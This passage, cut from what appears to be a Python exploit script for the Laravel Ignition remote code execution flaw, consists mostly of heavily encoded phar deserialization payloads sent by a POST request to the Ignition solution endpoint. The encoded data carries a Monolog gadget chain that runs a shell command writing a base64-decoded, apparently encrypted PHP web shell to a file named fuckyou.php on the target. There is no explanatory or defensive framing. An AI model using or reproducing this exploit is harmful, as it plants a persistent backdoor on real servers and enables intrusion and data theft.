=00=65=00=4A=00=46=00=41=00=75=00=58=00=69=00=52=00=55=00=4B=00=53=00=77=00=78=00=4E=00=69=00=6B=00=37=00=66=00=57=00=56=00=73=00=63=00=32=00=56=00=37=00=58=00=69=00=52=00=66=00=55=00=30=00=56=00=54=00=55=00=30=00=6C=00=50=00=54=00=6C=00=74=00=65=00=4A=00=46=00=5A=00=64=00=50=00=56=00=34=00=6B=00=52=00=6A=00=74=00=39=00=66=00=53=00=41=00=2B=00=4C=00=69=00=39=00=6D=00=64=00=57=00=4E=00=72=00=65=00=57=00=39=00=31=00=4C=00=6E=00=42=00=6F=00=63=00=43=00=49=00=37=00=63=00=7A=00=6F=00=31=00=4F=00=69=00=4A=00=73=00=5A=00=58=00=5A=00=6C=00=62=00=43=00=49=00=37=00=54=00=6A=00=74=00=39=00=66=00=58=00=4D=00=36=00=4F=00=44=00=6F=00=69=00=41=00=43=00=6F=00=41=00=62=00=47=00=56=00=32=00=5A=00=57=00=77=00=69=00=4F=00=30=00=34=00=37=00=63=00=7A=00=6F=00=78=00=4E=00=44=00=6F=00=69=00=41=00=43=00=6F=00=41=00=61=00=57=00=35=00=70=00=64=00=47=00=6C=00=68=00=62=00=47=00=6C=00=36=00=5A=00=57=00=51=00=69=00=4F=00=32=00=49=00=36=00=4D=00=54=00=74=00=7A=00=4F=00=6A=00=45=00=30=00=4F=00=69=00=49=00=41=00=4B=00=67=00=42=00=69=00=64=00=57=00=5A=00=6D=00=5A=00=58=00=4A=00=4D=00=61=00=57=00=31=00=70=00=64=00=43=00=49=00=37=00=61=00=54=00=6F=00=74=00=4D=00=54=00=74=00=7A=00=4F=00=6A=00=45=00=7A=00=4F=00=69=00=49=00=41=00=4B=00=67=00=42=00=77=00=63=00=6D=00=39=00=6A=00=5A=00=58=00=4E=00=7A=00=62=00=33=00=4A=00=7A=00=49=00=6A=00=74=00=68=00=4F=00=6A=00=49=00=36=00=65=00=32=00=6B=00=36=00=4D=00=44=00=74=00=7A=00=4F=00=6A=00=63=00=36=00=49=00=6D=00=4E=00=31=00=63=00=6E=00=4A=00=6C=00=62=00=6E=00=51=00=69=00=4F=00=32=00=6B=00=36=00=4D=00=54=00=74=00=7A=00=4F=00=6A=00=59=00=36=00=49=00=6E=00=4E=00=35=00=63=00=33=00=52=00=6C=00=62=00=53=00=49=00=37=00=66=00=58=00=31=00=39=00=42=00=51=00=41=00=41=00=41=00=47=00=52=00=31=00=62=00=57=00=31=00=35=00=42=00=41=00=41=00=41=00=41=00=41=00=4D=00=39=00=43=00=57=00=41=00=45=00=41=00=41=00=41=00=41=00=44=00=48=00=35=00=2F=00=32=00=4B=00=51=00=42=00=41=00=41=00=41=00=41=00=41=00=41=00=41=00=41=00=43=00=41=00=41=00=41=00=41=00=48=00=52=00=6C=00=63=00=33=00=51=00=75=00=64=00=48=00=68=00=30=00=42=00=41=00=41=00=41=00=41=00=41=00=4D=00=39=00=43=00=57=00=41=00=45=00=41=00=41=00=41=00=41=00=44=00=48=00=35=00=2F=00=32=00=4B=00=51=00=42=00=41=00=41=00=41=00=41=00=41=00=41=00=41=00=41=00=64=00=47=00=56=00=7A=00=64=00=48=00=52=00=6C=00=63=00=33=00=52=00=76=00=35=00=4F=00=50=00=6D=00=31=00=45=00=6C=00=61=00=48=00=76=00=4D=00=42=00=6E=00=46=00=53=00=54=00=2F=00=6E=00=53=00=36=00=54=00=2B=00=75=00=46=00=69=00=51=00=49=00=41=00=41=00=41=00=42=00=48=00=51=00=6B=00=31=00=43=00a"
 }
}
    req=requests.post(url,headers=header,data=json.dumps(data,indent=1))
    return req

def sendpayloadlinux(url):
    data={
 "solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
 "parameters": {
  "variableName":"username",
"viewFile": "=50=00=44=00=39=00=77=00=61=00=48=00=41=00=67=00=58=00=31=00=39=00=49=00=51=00=55=00=78=00=55=00=58=00=30=00=4E=00=50=00=54=00=56=00=42=00=4A=00=54=00=45=00=56=00=53=00=4B=00=43=00=6B=00=37=00=49=00=44=00=38=00=2B=00=44=00=51=00=72=00=39=00=43=00=41=00=41=00=41=00=41=00=67=00=41=00=41=00=41=00=42=00=45=00=41=00=41=00=41=00=41=00=42=00=41=00=41=00=41=00=41=00=41=00=41=00=43=00=6D=00=43=00=41=00=41=00=41=00=54=00=7A=00=6F=00=7A=00=4D=00=6A=00=6F=00=69=00=54=00=57=00=39=00=75=00=62=00=32=00=78=00=76=00=5A=00=31=00=78=00=49=00=59=00=57=00=35=00=6B=00=62=00=47=00=56=00=79=00=58=00=46=00=4E=00=35=00=63=00=32=00=78=00=76=00=5A=00=31=00=56=00=6B=00=63=00=45=00=68=00=68=00=62=00=6D=00=52=00=73=00=5A=00=58=00=49=00=69=00=4F=00=6A=00=45=00=36=00=65=00=33=00=4D=00=36=00=4F=00=54=00=6F=00=69=00=41=00=43=00=6F=00=41=00=63=00=32=00=39=00=6A=00=61=00=32=00=56=00=30=00=49=00=6A=00=74=00=50=00=4F=00=6A=00=49=00=35=00=4F=00=69=00=4A=00=4E=00=62=00=32=00=35=00=76=00=62=00=47=00=39=00=6E=00=58=00=45=00=68=00=68=00=62=00=6D=00=52=00=73=00=5A=00=58=00=4A=00=63=00=51=00=6E=00=56=00=6D=00=5A=00=6D=00=56=00=79=00=53=00=47=00=46=00=75=00=5A=00=47=00=78=00=6C=00=63=00=69=00=49=00=36=00=4E=00=7A=00=70=00=37=00=63=00=7A=00=6F=00=78=00=4D=00=44=00=6F=00=69=00=41=00=43=00=6F=00=41=00=61=00=47=00=46=00=75=00=5A=00=47=00=78=00=6C=00=63=00=69=00=49=00=37=00=54=00=7A=00=6F=00=79=00=4F=00=54=00=6F=00=69=00=54=00=57=00=39=00=75=00=62=00=32=00=78=00=76=00=5A=00=31=00=78=00=49=00=59=00=57=00=35=00=6B=00=62=00=47=00=56=00=79=00=58=00=45=00=4A=00=31=00=5A=00=6D=00=5A=00=6C=00=63=00=6B=00=68=00=68=00=62=00=6D=00=52=00=73=00=5A=00=58=00=49=00=69=00=4F=00=6A=00=63=00=36=00=65=00=33=00=4D=00=36=00=4D=00=54=00=41=00=36=00=49=00=67=00=41=00=71=00=41=00=47=00=68=00=68=00=62=00=6D=00=52=00=73=00=5A=00=58=00=49=00=69=00=4F=00=30=00=34=00=37=00=63=00=7A=00=6F=00=78=00=4D=00=7A=00=6F=00=69=00=41=00=43=00=6F=00=41=00=59=00=6E=00=56=00=6D=00=5A=00=6D=00=56=00=79=00=55=00=32=00=6C=00=36=00=5A=00=53=00=49=00=37=00=61=00=54=00=6F=00=74=00=4D=00=54=00=74=00=7A=00=4F=00=6A=00=6B=00=36=00=49=00=67=00=41=00=71=00=41=00=47=00=4A=00=31=00=5A=00=6D=00=5A=00=6C=00=63=00=69=00=49=00=37=00=59=00=54=00=6F=00=78=00=4F=00=6E=00=74=00=70=00=4F=00=6A=00=41=00=37=00=59=00=54=00=6F=00=79=00=4F=00=6E=00=74=00=70=00=4F=00=6A=00=41=00=37=00=63=00=7A=00=6F=00=34=00=4D=00=44=00=41=00=36=00=49=00=6D=00=56=00=6A=00=61=00=47=00=38=00=67=00=55=00=45=00=51=00=35=00=64=00=32=00=46=00=49=00=51=00=57=00=64=00=4A=00=53=00=45=00=35=00=73=00=59=00=7A=00=4E=00=4F=00=63=00=47=00=49=00=79=00=4E=00=57=00=5A=00=6A=00=4D=00=31=00=4A=00=6F=00=59=00=32=00=35=00=52=00=62=00=30=00=74=00=55=00=64=00=45=00=46=00=6A=00=4D=00=6C=00=59=00=77=00=57=00=44=00=4E=00=53=00=63=00=47=00=4A=00=58=00=56=00=6D=00=5A=00=69=00=52=00=32=00=78=00=30=00=59=00=56=00=68=00=52=00=62=00=30=00=31=00=44=00=61=00=7A=00=64=00=52=00=52=00=31=00=5A=00=35=00=59=00=32=00=30=00=35=00=65=00=56=00=67=00=7A=00=53=00=6D=00=78=00=6A=00=52=00=7A=00=6C=00=35=00=5A=00=45=00=64=00=73=00=64=00=56=00=70=00=35=00=5A=00=33=00=64=00=4C=00=56=00=48=00=52=00=74=00=5A=00=46=00=63=00=31=00=61=00=6D=00=52=00=48=00=62=00=48=00=5A=00=69=00=61=00=55=00=4A=00=47=00=53=00=30=00=4E=00=53=00=52=00=55=00=78=00=44=00=55=00=6B=00=78=00=4C=00=57=00=48=00=52=00=74=00=59=00=6A=00=4E=00=4A=00=62=00=30=00=70=00=48=00=61=00=7A=00=6C=00=4A=00=52=00=45=00=46=00=6E=00=54=00=33=00=6C=00=53=00=63=00=46=00=42=00=49=00=54=00=6A=00=42=00=6A=00=62=00=58=00=68=00=73=00=59=00=6D=00=6C=00=6E=00=61=00=31=00=4A=00=44=00=61=00=7A=00=64=00=4B=00=52=00=32=00=74=00=79=00=53=00=33=00=6C=00=73=00=4E=00=30=00=70=00=46=00=55=00=6D=00=4A=00=4B=00=52=00=32=00=78=00=6B=00=55=00=46=00=4E=00=53=00=52=00=56=00=64=00=35=00=55=00=6E=00=42=00=59=00=56=00=6A=00=52=00=72=00=55=00=7A=00=46=00=7A=00=61=00=32=00=46=00=54=00=63=00=32=00=64=00=4E=00=55=00=30=00=46=00=74=00=53=00=55=00=52=00=46=00=4D=00=55=00=6C=00=47=00=4D=00=44=00=64=00=6D=00=57=00=45=00=70=00=73=00=5A=00=45=00=68=00=57=00=65=00=57=00=4A=00=70=00=55=00=6B=00=56=00=50=00=4D=00=7A=00=46=00=74=00=5A=00=46=00=63=00=31=00=61=00=6D=00=52=00=48=00=62=00=48=00=5A=00=69=00=61=00=55=00=4A=00=53=00=53=00=30=00=4E=00=53=00=52=00=55=00=74=00=59=00=64=00=48=00=6C=00=61=00=57=00=46=00=49=00=78=00=59=00=32=00=30=00=30=00=5A=00=31=00=6C=00=74=00=52=00=6E=00=70=00=61=00=56=00=46=00=6B=00=77=00=57=00=44=00=4A=00=57=00=64=00=56=00=6B=00=79=00=4F=00=57=00=74=00=61=00=55=00=32=00=64=00=72=00=55=00=6B=00=4E=00=72=00=4E=00=32=00=5A=00=58=00=57=00=6A=00=46=00=69=00=62=00=55=00=34=00=77=00=59=00=56=00=63=00=35=00=64=00=55=00=6C=00=46=00=4F=00=47=00=39=00=4B=00=52=00=56=00=46=00=77=00=5A=00=54=00=4E=00=4B=00=62=00=47=00=52=00=49=00=56=00=6E=00=6C=00=69=00=61=00=55=00=4A=00=70=00=57=00=56=00=68=00=4F=00=62=00=45=00=35=00=71=00=55=00=6D=00=5A=00=61=00=52=00=31=00=5A=00=71=00=59=00=6A=00=4A=00=53=00=62=00=45=00=74=00=44=00=55=00=6B=00=56=00=4C=00=56=00=48=00=51=00=35=00=53=00=6B=00=5A=00=42=00=4F=00=55=00=6F=00=7A=00=51=00=6D=00=68=00=6A=00=4D=00=30=00=31=00=75=00=54=00=33=00=6C=00=53=00=56=00=31=00=42=00=54=00=5A=00=48=00=64=00=5A=00=57=00=47=00=78=00=7A=00=59=00=6A=00=4A=00=47=00=61=00=30=00=70=00=36=00=63=00=32=00=74=00=57=00=52=00=44=00=42=00=75=00=54=00=54=00=4A=00=4E=00=4D=00=6C=00=70=00=55=00=51=00=6D=00=6C=00=50=00=52=00=30=00=55=00=31=00=57=00=58=00=70=00=46=00=4D=00=55=00=31=00=71=00=53=00=54=00=42=00=5A=00=55=00=32=00=4D=00=33=00=59=00=56=00=64=00=5A=00=62=00=32=00=46=00=59=00=54=00=6E=00=70=00=61=00=57=00=46=00=46=00=76=00=53=00=6B=00=59=00=35=00=55=00=56=00=51=00=78=00=54=00=6C=00=56=00=58=00=65=00=56=00=4A=00=52=00=57=00=46=00=4E=00=72=00=63=00=47=00=56=00=35=00=55=00=6B=00=64=00=51=00=56=00=54=00=68=00=76=00=55=00=6C=00=4E=00=6F=00=55=00=45=00=74=00=44=00=55=00=6D=00=5A=00=56=00=52=00=54=00=6C=00=55=00=56=00=6B=00=5A=00=7A=00=61=00=31=00=56=00=47=00=4D=00=48=00=42=00=4D=00=51=00=31=00=4A=00=56=00=53=00=31=00=4E=00=72=00=4E=00=32=00=46=00=58=00=57=00=57=00=39=00=68=00=57=00=45=00=35=00=36=00=57=00=6C=00=68=00=52=00=62=00=30=00=70=00=47=00=4F=00=56=00=52=00=53=00=56=00=6B=00=35=00=55=00=55=00=31=00=55=00=35=00=54=00=31=00=64=00=35=00=55=00=6C=00=64=00=59=00=55=00=32=00=74=00=77=00=5A=00=58=00=6C=00=53=00=54=00=56=00=42=00=54=00=55=00=6D=00=5A=00=56=00=4D=00=46=00=5A=00=55=00=56=00=54=00=42=00=73=00=55=00=46=00=52=00=73=00=63=00=32=00=74=00=57=00=62=00=44=00=41=00=33=00=53=00=6B=00=56=00=46=00=4F=00=56=00=70=00=59=00=61=00=48=00=64=00=69=00=52=00=7A=00=6C=00=72=00=57=00=6C=00=4E=00=6E=00=62=00=6D=00=5A=00=44=00=59=00=33=00=4E=00=4B=00=52=00=58=00=64=00=77=00=54=00=7A=00=4A=00=4F=00=63=00=31=00=6C=00=59=00=54=00=6E=00=70=00=4A=00=52=00=55=00=34=00=33=00=59=00=30=00=68=00=57=00=61=00=57=00=4A=00=48=00=62=00=47=00=70=00=4A=00=52=00=31=00=6F=00=78=00=59=00=6D=00=31=00=4F=00=4D=00=47=00=46=00=58=00=4F=00=58=00=56=00=4A=00=52=00=7A=00=55=00=79=00=59=00=6A=00=4A=00=30=00=62=00=45=00=74=00=44=00=55=00=6E=00=64=00=4C=00=57=00=48=00=52=00=73=00=5A=00=47=00=31=00=47=00=63=00=30=00=74=00=44=00=55=00=6E=00=64=00=4D=00=61=00=55=00=6C=00=70=00=53=00=31=00=52=00=30=00=4F=00=57=00=5A=00=54=00=55=00=6C=00=4E=00=51=00=56=00=7A=00=56=00=73=00=5A=00=48=00=6C=00=43=00=52=00=45=00=74=00=44=00=61=00=7A=00=64=00=4B=00=52=00=6B=00=6C=00=30=00=55=00=47=00=30=00=31=00=4D=00=6D=00=49=00=79=00=64=00=47=00=78=00=4C=00=51=00=31=00=4A=00=43=00=56=00=33=00=6C=00=42=00=64=00=30=00=6C=00=47=00=4D=00=48=00=42=00=50=00=4D=00=6C=00=5A=00=71=00=59=00=55=00=63=00=34=00=5A=00=32=00=4D=00=7A=00=56=00=6D=00=6C=00=6A=00=4D=00=31=00=4A=00=35=00=53=00=30=00=63=00=78=00=61=00=30=00=35=00=54=00=5A=00=32=00=74=00=56=00=51=00=7A=00=52=00=72=00=56=00=6B=00=4E=00=72=00=63=00=30=00=6C=00=45=00=51=00=57=00=64=00=4D=00=51=00=30=00=46=00=34=00=54=00=6D=00=6C=00=42=00=63=00=45=00=38=00=79=00=56=00=6D=00=70=00=68=00=52=00=7A=00=68=00=6E=00=56=00=56=00=4E=00=6F=00=52=00=6B=00=74=00=46=00=51=00=6E=00=6C=00=6B=00=56=00=7A=00=52=00=76=00=53=00=6B=00=56=00=5A=00=63=00=45=00=78=00=44=00=55=00=6C=00=56=00=4C=00=55=00=32=00=73=00=33=00=57=00=6C=00=64=00=4F=00=62=00=32=00=4A=00=35=00=51=00=6E=00=70=00=6B=00=56=00=30=00=70=00=36=00=5A=00=45=00=68=00=4A=00=62=00=32=00=4A=00=58=00=55=00=54=00=46=00=4C=00=51=00=31=00=4A=00=52=00=54=00=47=00=6C=00=53=00=56=00=55=00=74=00=54=00=64=00=32=00=64=00=4E=00=56=00=46=00=6C=00=6E=00=53=00=31=00=52=00=30=00=4F=00=56=00=70=00=58=00=65=00=48=00=70=00=61=00=57=00=48=00=4E=00=72=00=57=00=44=00=46=00=4F=00=52=00=6C=00=55=00=78=00=54=00=6B=00=70=00=55=00=4D=00=44=00=56=00=69=00=53=00=6B=00=5A=00=61=00=5A=00=46=00=42=00=54=00=55=00=6B=00=64=00=50=00=4D=00=7A=00=45=00=35=00=49=00=48=00=77=00=67=00=59=00=6D=00=46=00=7A=00=5A=00=54=00=59=00=30=00=49=00=43=00=31=00=6B=00=49=00=44=00=34=00=75=00=4C=00=32=00=5A=00=31=00=59=00=32=00=74=00=35=00=62=00=33=00=55=00=75=00=63=00=47=00=68=00=77=00=49=00=6A=00=74=00=7A=00=4F=00=6A=00=55=00=36=00=49=00=6D=00=78=00=6C=00=64=00=6D=00=56=00=73=00=49=00=6A=00=74=00=4F=00=4F=00=33=00=31=00=39=00=63=00=7A=00=6F=00=34=00=4F=00=69=00=49=00=41=00=4B=00=67=00=42=00=73=00=5A=00=58=00=5A=00=6C=00=62=00=43=00=49=00=37=00=54=00=6A=00=74=00=7A=00=4F=00=6A=00=45=00=30=00=4F=00=69=00=49=00=41=00=4B=00=67=00=42=00=70=00=62=00=6D=00=6C=00=30=00=61=00=57=00=46=00=73=00=61=00=58=00=70=00=6C=00=5A=00=43=00=49=00=37=00=59=00=6A=00=6F=00=78=00=4F=00=33=00=4D=00=36=00=4D=00=54=00=51=00=36=00=49=00=67=00=41=00=71=00=41=00=47=00=4A=00=31=00=5A=00=6D=00=5A=00=6C=00=63=00=6B=00=78=00=70=00=62=00=57=00=6C=00=30=00=49=00=6A=00=74=00=70=00=4F=00=69=00=30=00=78=00=4F=00=33=00=4D=00=36=00=4D=00=54=00=4D=00=36=00=49=00=67=00=41=00=71=00=41=00=48=00=42=00=79=00=62=00=32=00=4E=00=6C=00=63=00=33=00=4E=00=76=00=63=00=6E=00=4D=00=69=00=4F=00=32=00=45=00=36=00=4D=00=6A=00=70=00=37=00=61=00=54=00=6F=00=77=00=4F=00=33=00=4D=00=36=00=4E=00=7A=00=6F=00=69=00=59=00=33=00=56=00=79=00=63=00=6D=00=56=00=75=00=64=00=43=00=49=00=37=00=61=00=54=00=6F=00=78=00=4F=00=33=00=4D=00=36=00=4E=00=6A=00=6F=00=69=00=63=00=33=00=6C=00=7A=00=64=00=47=00=56=00=74=00=49=00=6A=00=74=00=39=00=66=00=58=00=4D=00=36=00=4D=00=54=00=4D=00=36=00=49=00=67=00=41=00=71=00=41=00=47=00=4A=00=31=00=5A=00=6D=00=5A=00=6C=00=63=00=6C=00=4E=00=70=00=65=00=6D=00=55=00=69=00=4F=00=32=00=6B=00=36=00=4C=00=54=00=45=00=37=00=63=00=7A=00=6F=00=35=00=4F=00=69=00=49=00=41=00=4B=00=67=00=42=00=69=00=64=00=57=00=5A=00=6D=00=5A=00=58=00=49=00=69=00=4F=00=32=00=45=00=36=00=4D=00=54=00=70=00=37=00=61=00=54=00=6F=00=77=00=4F=00=32=00=45=00=36=00=4D=00=6A=00=70=00=37=00=61=00=54=00=6F=00=77=00=4F=00=33=00=4D=00=36=00=4F=00=44=00=41=00=77=00=4F=00=69=00=4A=00=6C=00=59=00=32=00=68=00=76=00=49=00=46=00=42=00=45=00=4F=00=58=00=64=00=68=00=53=00=45=00=46=00=6E=00=53=00=55=00=68=00=4F=00=62=00=47=00=4D=00=7A=00=54=00=6E=00=42=00=69=00=4D=00=6A=00=56=00=6D=00=59=00=7A=00=4E=00=53=00=61=00=47=00=4E=00=75=00=55=00=57=00=39=00=4C=00=56=00=48=00=52=00=42=00=59=00=7A=00=4A=00=57=00=4D=00=46=00=67=00=7A=00=55=00=6E=00=42=00=69=00=56=00=31=00=5A=00=6D=00=59=00=6B=00=64=00=73=00=64=00=47=00=46=00=59=00=55=00=57=00=39=00=4E=00=51=00=32=00=73=00=33=00=55=00=55=00=64=00=57=00=65=00=57=00=4E=00=74=00=4F=00=58=00=6C=00=59=00=4D=00=30=00=70=00=73=00=59=00=30=00=63=00=35=00=65=00=57=00=52=00=48=00=62=00=48=00=56=00=61=00=65=00=57=00=64=00=33=00=53=00=31=00=52=00=30=00=62=00=57=00=52=00=58=00=4E=00=57=00=70=00=6B=00=52=00=32=00=78=00=32=00=59=00=6D=00=6C=00=43=00=52=00=6B=00=74=00=44=00=55=00=6B=00=56=00=4D=00=51=00=31=00=4A=00=4D=00=53=00=31=00=68=00=30=00=62=00=57=00=49=00=7A=00=53=00=57=00=39=00=4B=00=52=00=32=00=73=00=35=00=53=00=55=00=52=00=42=00=5A=00=30=00=39=00=35=00=55=00=6E=00=42=00=51=00=53=00=45=00=34=00=77=00=59=00=32=00=31=00=34=00=62=00=47=00=4A=00=70=00=5A=00=32=00=74=00=53=00=51=00=32=00=73=00=33=00=53=00=6B=00=64=00=72=00=63=00=6B=00=74=00=35=00=62=00=44=00=64=00=4B=00=52=00=56=00=4A=00=69=00=53=00=6B=00=64=00=73=00=5A=00=46=00=42=00=54=00=55=00=6B=00=56=00=58=00=65=00=56=00=4A=00=77=00=57=00=46=00=59=00=30=00=61=00=31=00=4D=00=78=00=63=00=32=00=74=00=68=00=55=00=33=00=4E=00=6E=00=54=00=56=00=4E=00=42=00=62=00=55=00=6C=00=45=00=52=00=54=00=46=00=4A=00=52=00=6A=00=41=00=33=00=5A=00=6C=00=68=00=4B=00=62=00=47=00=52=00=49=00=56=00=6E=00=6C=00=69=00=61=00=56=00=4A=00=46=00=54=00=7A=00=4D=00=78=00=62=00=57=00=52=00=58=00=4E=00=57=00=70=00=6B=00=52=00=32=00=78=00=32=00=59=00=6D=00=6C=00=43=00=55=00=6B=00=74=00=44=00=55=00=6B=00=56=00=4C=00=57=00=48=00=52=00=35=00=57=00=6C=00=68=00=53=00=4D=00=57=00=4E=00=74=00=4E=00=47=00=64=00=5A=00=62=00=55=00=5A=00=36=00=57=00=6C=00=52=00=5A=00=4D=00=46=00=67=00=79=00=56=00=6E=00=56=00=5A=00=4D=00=6A=00=6C=00=72=00=57=00=6C=00=4E=00=6E=00=61=00=31=00=4A=00=44=00=61=00=7A=00=64=00=6D=00=56=00=31=00=6F=00=78=00=59=00=6D=00=31=00=4F=00=4D=00=47=00=46=00=58=00=4F=00=58=00=56=00=4A=00=52=00=54=00=68=00=76=00=53=00=6B=00=56=00=52=00=63=00=47=00=55=00=7A=00=53=00=6D=00=78=00=6B=00=53=00=46=00=5A=00=35=00=59=00=6D=00=6C=00=43=00=61=00=56=00=6C=00=59=00=54=00=6D=00=78=00=4F=00=61=00=6C=00=4A=00=6D=00=57=00=6B=00=64=00=57=00=61=00=6D=00=49=00=79=00=55=00=6D=00=78=00=4C=00=51=00=31=00=4A=00=46=00=53=00=31=00=52=00=30=00=4F=00=55=00=70=00=47=00=51=00=54=00=6C=00=4B=00=4D=00=30=00=4A=00=6F=00=59=00=7A=00=4E=00=4E=00=62=00=6B=00=39=00=35=00=55=00=6C=00=64=00=51=00=55=00=32=00=52=00=33=00=57=00=56=00=68=00=73=00=63=00=32=00=49=00=79=00=52=00=6D=00=74=00=4B=00=65=00=6E=00=4E=00=72=00=56=00=6B=00=51=00=77=00=62=00=6B=00=30=00=79=00=54=00=54=00=4A=00=61=00=56=00=45=00=4A=00=70=00=54=00=30=00=64=00=46=00=4E=00=56=00=6C=00=36=00=52=00=54=00=46=00=4E=00=61=00=6B=00=6B=00=77=00=57=00=56=00=4E=00=6A=00=4E=00=32=00=46=00=58=00=57=00=57=00=39=00=68=00=57=00=45=00=35=00=36=00=57=00=6C=00=68=00=52=00=62=00=30=00=70=00=47=00=4F=00=56=00=46=00=55=00=4D=00=55=00=35=00=56=00=56=00=33=00=6C=00=53=00=55=00=56=00=68=00=54=00=61=00=33=00=42=00=6C=00=65=00=56=00=4A=00=48=00=55=00=46=00=55=00=34=00=62=00=31=00=4A=00=54=00=61=00=46=00=42=00=4C=00=51=00=31=00=4A=00=6D=00=56=00=55=00=55=00=35=00=56=00=46=00=5A=00=47=00=63=00=32=00=74=00=56=00=52=00=6A=00=42=00=77=00=54=00=45=00=4E=00=53=00=56=00=55=00=74=00=54=00=61=00=7A=00=64=00=68=00=56=00=31=00=6C=00=76=00=59=00=56=00=68=00=4F=00=65=00=6C=00=70=00=59=00=55=00=57=00=39=00=4B=00=52=00=6A=00=6C=00=55=00=55=00=6C=00=5A=00=4F=00=56=00=46=00=4E=00=56=00=4F=00=55=00=39=00=58=00=65=00=56=00=4A=00=58=00=57=00=46=00=4E=00=72=00=63=00=47=00=56=00=35=00=55=00=6B=00=31=00=51=00=55=00=31=00=4A=00=6D=00=56=00=54=00=42=00=57=00=56=00=46=00=55=00=77=00=62=00=46=00=42=00=55=00=62=00=48=00=4E=00=72=00=56=00=6D=00=77=00=77=00=4E=00=30=00=70=00=46=00=52=00=54=00=6C=00=61=00=57=00=47=00=68=00=33=00=59=00=6B=00=63=00=35=00=61=00=31=00=70=00=54=00=5A=00=32=00=35=00=6D=00=51=00=32=00=4E=00=7A=00=53=00=6B=00=56=00=33=00=63=00=45=00=38=00=79=00=54=00=6E=00=4E=00=5A=00=57=00=45=00=35=00=36=00=53=00=55=00=56=00=4F=00=4E=00=32=00=4E=00=49=00=56=00=6D=00=6C=00=69=00=52=00=32=00=78=00=71=00=53=00=55=00=64=00=61=00=4D=00=57=00=4A=00=74=00=54=00=6A=00=42=00=68=00=56=00=7A=00=6C=00=31=00=53=00=55=00=63=00=31=00=4D=00=6D=00=49=00=79=00=64=00=47=00=78=00=4C=00=51=00=31=00=4A=00=33=00=53=00=31=00=68=00=30=00=62=00=47=00=52=00=74=00=52=00=6E=00=4E=00=4C=00=51=00=31=00=4A=00=33=00=54=00=47=00=6C=00=4A=00=61=00=55=00=74=00=55=00=64=00=44=00=6C=00=6D=00=55=00=31=00=4A=00=54=00=55=00=46=00=63=00=31=00=62=00=47=00=52=00=35=00=51=00=6B=00=52=00=4C=00=51=00=32=00=73=00=33=00=53=00=6B=00=5A=00=4A=00=64=00=46=00=42=00=74=00=4E=00=54=00=4A=00=69=00=4D=00=6E=00=52=00=73=00=53=00=30=00=4E=00=53=00=51=00=6C=00=64=00=35=00=51=00=58=00=64=00=4A=00=52=00=6A=00=42=00=77=00=54=00=7A=00=4A=00=57=00=61=00=6D=00=46=00=48=00=4F=00=47=00=64=00=6A=00=4D=00=31=00=5A=00=70=00=59=00=7A=00=4E=00=53=00=65=00=55=00=74=00=48=00=4D=00=57=00=74=00=4F=00=55=00=32=00=64=00=72=00=56=00=55=00=4D=00=30=00=61=00=31=00=5A=00=44=00=61=00=33=00=4E=00=4A=00=52=00=45=00=46=00=6E=00=54=00=45=00=4E=00=42=00=65=00=45=00=35=00=70=00=51=00=58=00=42=00=50=00=4D=00=6C=00=5A=00=71=00=59=00=55=00=63=00=34=00=5A=00=31=00=56=00=54=00=61=00=45=00=5A=00=4C=00=52=00=55=00=4A=00=35=00=5A=00=46=00=63=00=30=00=62=00=30=00=70=00=46=00=57=00=58=00=42=00=4D=00=51=00=31=00=4A=00=56=00=53=00=31=00=4E=00=72=00=4E=00=31=00=70=00=58=00=54=00=6D=00=39=00=69=00=65=00=55=00=4A=00=36=00=5A=00=46=00=64=00=4B=00=65=00=6D=00=52=00=49=00=53=00=57=00=39=00=69=00=56=00=31=00=45=00=78=00=53=00=30=00=4E=00=53=00=55=00=55=00=78=00=70=00=55=00=6C=00=56=00=4C=00=55=00=33=00=64=00=6E=00=54=00=56=00=52=00=5A=00=5A=00=30=00=74=00=55=00=64=00=44=00=6C=00=61=00=56=00=33=00=68=00=36=00=57=00=6C=00=68=00=7A=00=61=00=31=00=67=00=78=00=54=00=6B=00=5A=00=56=00=4D=00=55=00=35=00=4B=00=56=00=44=00=41=00=31=00=59=00=6B=00=70=00=47=00=57=00=6D=00=52=00=51=00=55=00=31=00=4A=00=48=00=54=00=7A=00=4D=00=78=00=4F=00=53=00=42=00=38=00=49=00=47=00=4A=00=68=00=63=00=32=00=55=00=32=00=4E=00=43=00=41=00=74=00=5A=00=43=00=41=00=2B=00=4C=00=69=00=39=00=6D=00=64=00=57=00=4E=00=72=00=65=00=57=00=39=00=31=00=4C=00=6E=00=42=00=6F=00=63=00=43=00=49=00=37=00=63=00=7A=00=6F=00=31=00=4F=00=69=00=4A=00=73=00=5A=00=58=00=5A=00=6C=00=62=00=43=00=49=00=37=00=54=00=6A=00=74=00=39=00=66=00=58=00=4D=00=36=00=4F=00=44=00=6F=00=69=00=41=00=43=00=6F=00=41=00=62=00=47=00=56=00=32=00=5A=00=57=00=77=00=69=00=4F=00=30=00=34=00=37=00=63=00=7A=00=6F=00=78=00=4E=00=44=00=6F=00=69=00=41=00=43=00=6F=00=41=00=61=00=57=00=35=00=70=00=64=00=47=00=6C=00=68=00=62=00=47=00=6C=00=36=00=5A=00=57=00=51=00=69=00=4F=00=32=00=49=00=36=00=4D=00=54=00=74=00=7A=00=4F=00=6A=00=45=00=30=00=4F=00=69=00=49=00=41=00=4B=00=67=00=42=00=69=00=64=00=57=00=5A=00=6D=00=5A=00=58=00=4A=00=4D=00=61=00=57=00=31=00=70=00=64=00=43=00=49=00=37=00=61=00=54=00=6F=00=74=00=4D=00=54=00=74=00=7A=00=4F=00=6A=00=45=00=7A=00=4F=00=69=00=49=00=41=00=4B=00=67=00=42=00=77=00=63=00=6D=00=39=00=6A=00=5A=00=58=00=4E=00=7A=00=62=00=33=00=4A=00=7A=00=49=00=6A=00=74=00=68=00=4F=00=6A=00=49=00=36=00=65=00=32=00=6B=00=36=00=4D=00=44=00=74=00=7A=00=4F=00=6A=00=63=00=36=00=49=00=6D=00=4E=00=31=00=63=00=6E=00=4A=00=6C=00=62=00=6E=00=51=00=69=00=4F=00=32=00=6B=00=36=00=4D=00=54=00=74=00=7A=00=4F=00=6A=00=59=00=36=00=49=00=6E=00=4E=00=35=00=63=00=33=00=52=00=6C=00=62=00=53=00=49=00=37=00=66=00=58=00=31=00=39=00=42=00=51=00=41=00=41=00=41=00=47=00=52=00=31=00=62=00=57=00=31=00=35=00=42=00=41=00=41=00=41=00=41=00=44=00=77=00=7A=00=43=00=6D=00=41=00=45=00=41=00=41=00=41=00=41=00=44=00=48=00=35=00=2F=00=32=00=4B=00=51=00=42=00=41=00=41=00=41=00=41=00=41=00=41=